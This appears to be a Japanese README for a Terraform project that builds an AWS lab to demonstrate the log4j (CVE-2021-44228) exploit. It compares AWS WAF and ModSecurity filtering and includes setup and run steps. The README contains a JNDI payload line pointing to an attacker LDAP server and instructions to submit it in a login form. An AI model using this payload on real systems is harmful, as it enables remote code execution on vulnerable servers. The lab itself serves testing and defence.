
このプロジェクトのファイルは、TerraformのInfrastructure-as-a-Code手段を使用して、AWS上でのlog4jの脆弱性(CVE-2021-44228)の概念実証(PoC)を示しています。
このプロジェクトのファイルは、AWS上でTerraformのInfrastructure-as-a-Code(IaC)手法を用いたlog4jの脆弱性(CVE-2021-44228)の概念実証(proof-of-concept)を示しています。
このプロジェクトには2つのデモがあります。
結論: 1つ目のデモは、AWS WAFを使用した悪用の成功を示しています。2つ目のデモは、ModSecurityを導入した場合の試みが失敗した例です。ModSecurityを削除すると、悪用は成功します。これは、ModSecurityがアクティブなプロジェクトであり、脆弱な文字列が特定されてフィルタリングされているためかもしれません。
このPOCは以下から取得しました: https://github.com/kozmer/log4j-shell-poc
彼女の試行のウォークスルーを説明したMediumブログ: https://chennylmf.medium.com/apache-log4j-shell-poc-exploits-5953c42fa873
個人的には、Windows + Powershell を使用してテストしました。クラウドマシンは Ubuntu 18 LTS です。(Kali や任意の Linux で攻撃)
Web経由で作成します(名前は 'tf-aws'): https://console.aws.amazon.com/ec2/v2/home?#KeyPairs
https://us-east-1.console.aws.amazon.com/iamv2/home#/users > ユーザーを選択 > security_credentials セクションを選択
Powershell:
$env:AWS_ACCESS_KEY_ID="<user access key input>"
$env:AWS_SECRET_ACCESS_KEY="<secret key input>"
$env:AWS_DEFAULT_REGION="<region>"
Linux:
export AWS_ACCESS_KEY_ID="<user access key input>"
export AWS_SECRET_ACCESS_KEY="<secret key input>
export AWS_DEFAULT_REGION="<region>"
cd single-instance
terraform init
terraform apply
実行後、IP / DNS が表示されます。
single-instance の場合、http:<aws host url>:8080 にアクセスできることを確認してください
double-instance の場合、http:<aws host url> にアクセスできることを確認してください
* 'double-instance' の起動にはかなり時間がかかることに注意してください。システムにSSH接続した後、journalctl -f を使用して進行状況を追跡できます。
ジャーナルを確認する場合、「Reached target Cloud-init target.」が準備完了状態を意味します。

実行権限を設定
chmod +x ../exploit-script-remote.sh
指定された変数でスクリプトを実行
../exploit-script-remote.sh
ペイロードはスクリプトの最後に ${jndi:ldap://<ip-address>:1389/a} のように表示されることに注意してください。
http:<aws host url>:8080 にアクセス
ペイロードを 'username' フィールドにコピーし、フォームを送信します

JDKファイル: baiduソースからの整合性がOracleのものと同じハッシュであることを確認済み
SHA256 187EDA2235F812DDB35C352B5F9AA6C5B184D611C2C9D0393AFB8031D8198974
Spot instance: https://www.tderflinger.com/en/ec2-spot-with-terraform
SSH: https://jhooq.com/terraform-ssh-into-aws-ec2/ https://docs.aws.amazon.com/cli/latest/userguide/cli-services-ec2-keypairs.html
[ssh key on the fly] https://stackoverflow.com/questions/49743220/how-do-i-create-an-ssh-key-in-terraform
Waf: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/waf_rule https://medium.com/kudos-engineering/terraforming-amazons-web-application-firewall-e5c22b7d317d https://www.linode.com/docs/guides/securing-nginx-with-modsecurity/
Templating: https://spacelift.io/blog/terraform-templates